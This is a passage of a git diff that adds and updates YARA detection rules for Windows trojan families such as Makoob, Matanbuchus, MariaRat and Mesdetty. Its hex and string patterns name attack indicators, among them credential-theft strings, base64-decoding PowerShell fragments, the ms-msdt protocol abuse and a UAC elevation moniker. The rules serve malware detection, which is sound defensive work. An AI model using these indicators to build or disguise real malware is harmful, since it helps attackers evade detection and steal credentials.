"Trojan:Win32/Makoob.SERY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {62 00 6f 00 72 00 64 00 76 00 69 00 6e 00 65 00 6e 00 65 00 73 00 20 00 6c 00 6f 00 76 00 67 00 69 00 76 00 6e 00 69 00 6e 00 67 00 65 00 72 00 6e 00 65 00 73 00 } //1 bordvinenes lovgivningernes + $a_01_1 = {76 00 6f 00 72 00 74 00 20 00 73 00 6b 00 6f 00 6c 00 64 00 65 00 6e 00 64 00 65 00 20 00 63 00 6f 00 6e 00 76 00 6f 00 6c 00 75 00 74 00 61 00 } //1 vort skoldende convoluta + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLOU_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLOU_MTB.yar new file mode 100644 index 0000000000..02954c585f --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLOU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Makoob_SLOU_MTB{ + meta: + description = "Trojan:Win32/Makoob.SLOU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {66 00 6f 00 72 00 74 00 74 00 6e 00 69 00 6e 00 67 00 65 00 72 00 6e 00 65 00 73 00 20 00 74 00 72 00 61 00 70 00 70 00 79 00 } //2 forttningernes trappy + $a_01_1 = {73 00 63 00 72 00 65 00 65 00 6e 00 69 00 6e 00 67 00 65 00 72 00 6e 00 65 00 73 00 20 00 72 00 65 00 76 00 65 00 72 00 73 00 69 00 62 00 69 00 6c 00 69 00 74 00 65 00 74 00 20 00 65 00 6b 00 76 00 69 00 70 00 65 00 72 00 69 00 6e 00 67 00 73 00 68 00 61 00 6e 00 64 00 6c 00 65 00 72 00 } //2 screeningernes reversibilitet ekviperingshandler + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLVM_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLVM_MTB.yar new file mode 100644 index 0000000000..40879966c2 --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLVM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Makoob_SLVM_MTB{ + meta: + description = "Trojan:Win32/Makoob.SLVM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {63 00 6f 00 72 00 61 00 5c 00 44 00 6f 00 6d 00 73 00 61 00 66 00 73 00 69 00 67 00 65 00 6c 00 73 00 65 00 72 00 6e 00 65 00 73 00 2e 00 64 00 6c 00 6c 00 } //2 cora\Domsafsigelsernes.dll + $a_01_1 = {41 00 73 00 74 00 75 00 74 00 65 00 6e 00 65 00 73 00 73 00 32 00 35 00 30 00 5c 00 54 00 69 00 74 00 6f 00 69 00 73 00 74 00 73 00 32 00 32 00 34 00 2e 00 62 00 72 00 61 00 } //2 Astuteness250\Titoists224.bra + $a_01_2 = {54 00 69 00 74 00 6f 00 69 00 73 00 74 00 73 00 32 00 32 00 34 00 2e 00 62 00 72 00 61 00 } //2 Titoists224.bra + $a_01_3 = {4c 00 73 00 73 00 65 00 6e 00 65 00 2e 00 4c 00 6f 00 75 00 } //1 Lssene.Lou + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLYY_MTB.yar b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLYY_MTB.yar new file mode 100644 index 0000000000..bf21cf3777 --- /dev/null +++ b/Trojan/Win32/Makoob/Trojan_Win32_Makoob_SLYY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Makoob_SLYY_MTB{ + meta: + description = "Trojan:Win32/Makoob.SLYY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {65 00 6c 00 65 00 76 00 61 00 74 00 6f 00 72 00 74 00 72 00 75 00 63 00 6b 00 73 00 } //2 elevatortrucks + $a_01_1 = {73 00 79 00 6e 00 64 00 65 00 62 00 75 00 6b 00 6b 00 65 00 6e 00 73 00 20 00 62 00 75 00 73 00 73 00 74 00 6f 00 70 00 70 00 65 00 73 00 74 00 65 00 64 00 65 00 74 00 73 00 } //2 syndebukkens busstoppestedets + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/MalAmsiExec/Trojan_Win32_MalAmsiExec_A_MTB.yar b/Trojan/Win32/MalAmsiExec/Trojan_Win32_MalAmsiExec_A_MTB.yar new file mode 100644 index 0000000000..5c00166d87 --- /dev/null +++ b/Trojan/Win32/MalAmsiExec/Trojan_Win32_MalAmsiExec_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_MalAmsiExec_A_MTB{ + meta: + description = "Trojan:Win32/MalAmsiExec.A!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 [text.encoding]::UTF8.getstring($ + $a_00_1 = {5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 [convert]::frombase64string($ + $a_00_2 = {43 00 4f 00 4d 00 53 00 50 00 45 00 43 00 } //1 COMSPEC + $a_00_3 = {45 00 43 00 48 00 4f 00 } //1 ECHO + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_A_dha.yar b/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_A_dha.yar new file mode 100644 index 0000000000..df8eb1a1c1 --- /dev/null +++ b/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_A_dha.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_MantisGulf_A_dha{ + meta: + description = "Trojan:Win32/MantisGulf.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {72 00 65 00 63 00 6f 00 72 00 64 00 2e 00 6c 00 6f 00 67 00 00 00 } //1 + $a_01_1 = {5b 2b 5d 20 53 63 61 6e 6e 69 6e 67 2e 2e 2e 2e 0d 0a 00 } //1 + $a_01_2 = {5b 2b 5d 20 53 63 61 6e 6e 69 6e 67 20 63 6f 6d 70 6c 65 74 65 64 20 2c 20 61 6c 6c 20 66 69 6c 65 73 3a 20 00 } //1 + $a_01_3 = {5b 21 5d 20 31 20 66 69 6c 65 20 66 61 69 6c 65 64 20 74 6f 20 62 65 20 74 72 61 6e 73 66 65 72 72 65 64 20 62 65 63 61 75 73 65 20 74 68 65 20 66 69 6c 65 20 73 69 7a 65 20 77 61 73 20 30 00 } //1 + $a_01_4 = {43 6f 6d 70 72 65 73 73 20 75 6e 73 75 63 65 73 73 21 00 } //1 + $a_01_5 = {5b 21 21 5d 20 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 65 73 74 61 62 6c 69 73 68 69 6e 67 20 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_B_dha.yar b/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_B_dha.yar new file mode 100644 index 0000000000..ece98e6fc2 --- /dev/null +++ b/Trojan/Win32/MantisGulf/Trojan_Win32_MantisGulf_B_dha.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_MantisGulf_B_dha{ + meta: + description = "Trojan:Win32/MantisGulf.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 00 " + + strings : + $a_01_0 = {54 68 65 20 72 65 71 75 69 72 65 64 20 70 61 72 61 6d 65 74 65 72 73 20 61 72 65 20 6e 6f 74 20 73 70 65 63 69 66 69 65 64 21 0d 0a 00 } //5 + $a_01_1 = {2d 00 74 00 69 00 6d 00 65 00 00 00 } //1 + $a_01_2 = {2d 00 70 00 72 00 6f 00 78 00 79 00 00 00 } //1 + $a_01_3 = {2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 69 00 7a 00 65 00 00 00 } //1 + $a_01_4 = {2d 00 6d 00 61 00 78 00 5f 00 73 00 69 00 7a 00 65 00 00 00 } //1 + $a_01_5 = {2d 00 6c 00 69 00 6d 00 69 00 74 00 5f 00 75 00 70 00 5f 00 73 00 69 00 7a 00 65 00 00 00 } //1 + $a_01_6 = {2d 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 } //1 + $a_01_7 = {2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 } //1 + $a_01_8 = {2d 00 6c 00 69 00 6d 00 69 00 74 00 5f 00 73 00 70 00 65 00 65 00 64 00 00 00 } //1 + $a_01_9 = {2d 00 75 00 6e 00 63 00 5f 00 61 00 75 00 74 00 68 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mardom/Trojan_Win32_Mardom_SX_MTB.yar b/Trojan/Win32/Mardom/Trojan_Win32_Mardom_SX_MTB.yar new file mode 100644 index 0000000000..4004c2e6e6 --- /dev/null +++ b/Trojan/Win32/Mardom/Trojan_Win32_Mardom_SX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Mardom_SX_MTB{ + meta: + description = "Trojan:Win32/Mardom.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {00 7e 04 00 00 04 8e 69 28 06 00 00 06 0a } //3 + $a_03_1 = {06 d0 04 00 00 02 28 11 00 00 0a 28 ?? 00 00 0a 74 04 00 00 02 } //2 + $a_03_2 = {0a 26 14 14 28 ?? 00 00 0a 26 14 14 28 ?? 00 00 0a 26 14 14 28 ?? 00 00 0a 26 } //1 + $a_01_3 = {07 7e 04 00 00 04 8e 69 1f 40 12 00 28 05 00 00 06 26 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/MariaRat/Trojan_Win32_MariaRat_A_MTB.yar b/Trojan/Win32/MariaRat/Trojan_Win32_MariaRat_A_MTB.yar new file mode 100644 index 0000000000..9708b67fb3 --- /dev/null +++ b/Trojan/Win32/MariaRat/Trojan_Win32_MariaRat_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_MariaRat_A_MTB{ + meta: + description = "Trojan:Win32/MariaRat.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {45 6c 65 76 61 74 69 6f 6e 3a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 21 6e 65 77 3a 7b } //1 Elevation:Administrator!new:{ + $a_01_1 = {65 6e 63 72 79 70 74 65 64 5f 6b 65 79 } //1 encrypted_key + $a_01_2 = {53 4d 54 50 20 50 61 73 73 77 6f 72 64 } //1 SMTP Password + $a_01_3 = {63 6d 64 2e 65 78 65 20 2f 43 20 70 69 6e 67 20 } //1 cmd.exe /C ping + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/MasqProcessLaunchLolbins/Trojan_Win32_MasqProcessLaunchLolbins_B_sync.yar b/Trojan/Win32/MasqProcessLaunchLolbins/Trojan_Win32_MasqProcessLaunchLolbins_B_sync.yar index fa00a307bd..ad3f8aabd0 100644 --- a/Trojan/Win32/MasqProcessLaunchLolbins/Trojan_Win32_MasqProcessLaunchLolbins_B_sync.yar +++ b/Trojan/Win32/MasqProcessLaunchLolbins/Trojan_Win32_MasqProcessLaunchLolbins_B_sync.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_MasqProcessLaunchLolbins_B_sync{ meta: - description = "Trojan:Win32/MasqProcessLaunchLolbins.B!sync,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 00 " + description = "Trojan:Win32/MasqProcessLaunchLolbins.B!sync,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 09 00 00 " strings : $a_00_0 = {5c 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 00 00 } //1 @@ -9,8 +9,11 @@ rule Trojan_Win32_MasqProcessLaunchLolbins_B_sync{ $a_00_2 = {5c 00 73 00 63 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_3 = {5c 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 } //1 $a_00_4 = {71 00 70 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 20 00 73 00 65 00 6e 00 73 00 65 00 } //-10 qprotection sense - $a_00_5 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //-10 schtasks.exe /delete + $a_00_5 = {44 00 61 00 74 00 61 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 47 00 61 00 74 00 65 00 77 00 61 00 79 00 } //-10 DataManagementGateway + $a_00_6 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //-10 schtasks.exe /delete + $a_00_7 = {5c 00 69 00 43 00 6c 00 6f 00 75 00 64 00 5c 00 } //-10 \iCloud\ + $a_00_8 = {69 00 43 00 6c 00 6f 00 75 00 64 00 4d 00 69 00 67 00 72 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 } //-10 iCloudMigrate.exe condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-10+(#a_00_5 & 1)*-10) >=1 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-10+(#a_00_5 & 1)*-10+(#a_00_6 & 1)*-10+(#a_00_7 & 1)*-10+(#a_00_8 & 1)*-10) >=1 } \ No newline at end of file diff --git a/Trojan/Win32/Masquerading/Trojan_Win32_Masquerading_F.yar b/Trojan/Win32/Masquerading/Trojan_Win32_Masquerading_F.yar new file mode 100644 index 0000000000..18c9a99e2c --- /dev/null +++ b/Trojan/Win32/Masquerading/Trojan_Win32_Masquerading_F.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Masquerading_F{ + meta: + description = "Trojan:Win32/Masquerading.F,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_02_0 = {5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-60] 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 } //1 + $a_02_1 = {5c 74 65 6d 70 5c [0-60] 65 78 70 6c 6f 72 65 72 2e 65 78 65 } //1 + $a_02_2 = {5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-60] 2e 00 74 00 78 00 74 00 2e 00 65 00 78 00 65 00 } //1 + $a_02_3 = {5c 74 65 6d 70 5c [0-60] 2e 74 78 74 2e 65 78 65 } //1 + $a_80_4 = {5f 6d 61 69 6e 20 } //_main 2 + $a_80_5 = {5c 5c 2e 5c 70 69 70 65 5c 6d 6f 76 65 } //\\.\pipe\move 2 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_CCIM_MTB.yar b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_CCIM_MTB.yar new file mode 100644 index 0000000000..fecb6c0923 --- /dev/null +++ b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_CCIM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Matanbuchus_CCIM_MTB{ + meta: + description = "Trojan:Win32/Matanbuchus.CCIM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {8b 45 f8 83 c0 01 8b 4d fc 83 d1 00 89 45 f8 89 4d fc 8b 55 fc 3b 55 10 } //2 + $a_03_1 = {6a 00 6a 01 8b 4d fc 51 8b 55 f8 52 e8 ?? ?? ?? ?? 8b f0 6a 00 6a 08 8b 45 fc 50 8b 4d f8 51 e8 } //2 + $a_03_2 = {0f be d0 8b 45 08 0f be 1c 30 33 da 6a 00 6a 01 8b 4d fc 51 8b 55 f8 52 e8 ?? ?? ?? ?? 8b 4d 08 88 1c 01 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*2+(#a_03_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_C_MTB.yar b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_C_MTB.yar new file mode 100644 index 0000000000..1491b2528e --- /dev/null +++ b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_C_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Matanbuchus_C_MTB{ + meta: + description = "Trojan:Win32/Matanbuchus.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8b c8 8b 45 14 8b 55 18 e8 ?? ?? ?? ?? 25 ff 00 00 00 0f be d0 8b 45 08 0f be 1c 30 33 da 6a 00 6a 01 8b 4d fc 51 8b 55 f8 52 e8 ?? ?? ?? ?? 8b 4d 08 88 1c 01 e9 } //2 + $a_03_1 = {68 88 01 01 10 8d 8d e0 fe ff ff e8 ?? ?? ?? ?? 68 8c 01 01 10 8d 8d e0 fe ff ff 51 8d 95 c8 fe ff ff 52 e8 ?? ?? ?? ?? 83 c4 0c 68 94 01 01 10 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_GTD_MTB.yar b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_GTD_MTB.yar new file mode 100644 index 0000000000..c785eb6096 --- /dev/null +++ b/Trojan/Win32/Matanbuchus/Trojan_Win32_Matanbuchus_GTD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Matanbuchus_GTD_MTB{ + meta: + description = "Trojan:Win32/Matanbuchus.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {6a 04 68 00 30 00 00 68 00 00 10 00 6a 00 6a 00 6a 00 e8 ?? ?? ?? ?? 83 c4 08 ff d0 } //5 + $a_01_1 = {ba 04 00 00 00 6b c2 00 8b 4d f4 8b 54 01 10 89 55 e4 83 7d 0c 00 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mesdetty/Trojan_Win32_Mesdetty_A.yar b/Trojan/Win32/Mesdetty/Trojan_Win32_Mesdetty_A.yar index 0612af835b..9c6dd65bda 100644 --- a/Trojan/Win32/Mesdetty/Trojan_Win32_Mesdetty_A.yar +++ b/Trojan/Win32/Mesdetty/Trojan_Win32_Mesdetty_A.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_Mesdetty_A{ meta: - description = "Trojan:Win32/Mesdetty.A,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 1a 00 00 " + description = "Trojan:Win32/Mesdetty.A,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 1c 00 00 " strings : $a_00_0 = {6d 00 73 00 2d 00 6d 00 73 00 64 00 74 00 3a 00 } //100 ms-msdt: @@ -30,7 +30,9 @@ rule Trojan_Win32_Mesdetty_A{ $a_00_23 = {2f 00 68 00 69 00 22 00 } //1 /hi" $a_00_24 = {2f 00 68 00 69 00 60 00 } //1 /hi` $a_02_25 = {70 00 63 00 77 00 64 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 [0-50] 61 00 66 00 20 00 } //1 + $a_00_26 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-200 msedgewebview2.exe + $a_00_27 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_02_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_02_25 & 1)*1) >=101 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_02_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_02_25 & 1)*1+(#a_00_26 & 1)*-200+(#a_00_27 & 1)*-1000) >=101 } \ No newline at end of file diff --git a/Trojan/Win32/Midie/Trojan_Win32_Midie_A_MTB.yar b/Trojan/Win32/Midie/Trojan_Win32_Midie_A_MTB.yar new file mode 100644 index 0000000000..5e0794be67 --- /dev/null +++ b/Trojan/Win32/Midie/Trojan_Win32_Midie_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Midie_A_MTB{ + meta: + description = "Trojan:Win32/Midie.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {50 68 06 00 02 00 6a 00 68 a0 41 00 10 68 01 00 00 80 ff 15 04 30 00 10 85 c0 75 23 51 ?? b9 a1 06 00 00 59 68 05 15 00 00 ff } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Midie/Trojan_Win32_Midie_KHT_MTB.yar b/Trojan/Win32/Midie/Trojan_Win32_Midie_KHT_MTB.yar new file mode 100644 index 0000000000..7794f57ae9 --- /dev/null +++ b/Trojan/Win32/Midie/Trojan_Win32_Midie_KHT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Midie_KHT_MTB{ + meta: + description = "Trojan:Win32/Midie.KHT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c0 89 0d ?? ?? ?? ?? 8b 4d 0c 8a 44 38 08 32 04 0a 88 01 eb ?? 8b 4d 0c 8b 75 a4 8b 7d 84 41 83 ad 78 ff ff ff 01 89 4d 0c 0f 85 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Midie/Trojan_Win32_Midie_SEF_MTB.yar b/Trojan/Win32/Midie/Trojan_Win32_Midie_SEF_MTB.yar new file mode 100644 index 0000000000..12b61c397e --- /dev/null +++ b/Trojan/Win32/Midie/Trojan_Win32_Midie_SEF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Midie_SEF_MTB{ + meta: + description = "Trojan:Win32/Midie.SEF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {68 6f 78 2f 31 68 69 72 65 66 68 30 31 20 46 68 31 30 30 31 68 6f 2f 32 30 68 47 65 63 6b 68 2e 30 29 20 68 76 3a 31 36 68 34 3b 20 72 68 57 4f 57 36 68 2e 31 3b 20 68 4e 54 20 36 68 6f 77 73 20 68 57 69 6e 64 68 2e 30 20 28 68 6c 61 2f 35 68 6f 7a 69 6c 68 } //1 hox/1hirefh01 Fh1001ho/20hGeckh.0) hv:16h4; rhWOW6h.1; hNT 6hows hWindh.0 (hla/5hozilh + $a_81_1 = {64 75 6d 6d 79 57 69 6e 64 6f 77 43 6c 61 73 73 } //1 dummyWindowClass + condition: + ((#a_01_0 & 1)*1+(#a_81_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mikey/Trojan_Win32_Mikey_AIV_MTB.yar b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_AIV_MTB.yar new file mode 100644 index 0000000000..f7856d1984 --- /dev/null +++ b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_AIV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Mikey_AIV_MTB{ + meta: + description = "Trojan:Win32/Mikey.AIV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8a 0c 1f 8b 55 e8 8b 5d d4 8a 2c 1a 88 2d 55 8b 26 10 88 0d 56 8b 26 10 30 cd 88 2d 54 8b 26 10 c7 05 ?? ?? ?? ?? 4e 0a 00 00 8b 55 e4 88 2c 1a 81 c3 01 00 00 00 8b 55 f0 39 d3 89 5d c8 75 12 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mikey/Trojan_Win32_Mikey_LMA_MTB.yar b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_LMA_MTB.yar new file mode 100644 index 0000000000..374412b737 --- /dev/null +++ b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_LMA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Mikey_LMA_MTB{ + meta: + description = "Trojan:Win32/Mikey.LMA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_01_0 = {0f be 04 19 41 99 c7 45 fc d9 06 00 00 f7 7d fc 8b c6 c7 45 fc 05 00 00 00 80 c2 4f 30 14 37 33 d2 f7 75 fc f7 da 1b d2 23 ca 46 3b 75 0c } //15 + $a_03_1 = {8b 45 14 8b ce 8b 55 18 83 e1 07 c1 e1 03 e8 ?? ?? ?? ?? 30 04 1e 83 c6 01 83 d7 00 3b 7d 10 72 ?? ?? ?? 3b 75 0c 72 ?? 5f 5e 5b c9 c3 } //10 + condition: + ((#a_01_0 & 1)*15+(#a_03_1 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win32/Mikey/Trojan_Win32_Mikey_PGM_MTB.yar b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_PGM_MTB.yar new file mode 100644 index 0000000000..27395c29f4 --- /dev/null +++ b/Trojan/Win32/Mikey/Trojan_Win32_Mikey_PGM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Mikey_PGM_MTB{ + meta: + description = "Trojan:Win32/Mikey.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {51 6a 01 68 c8 71 40 00 56 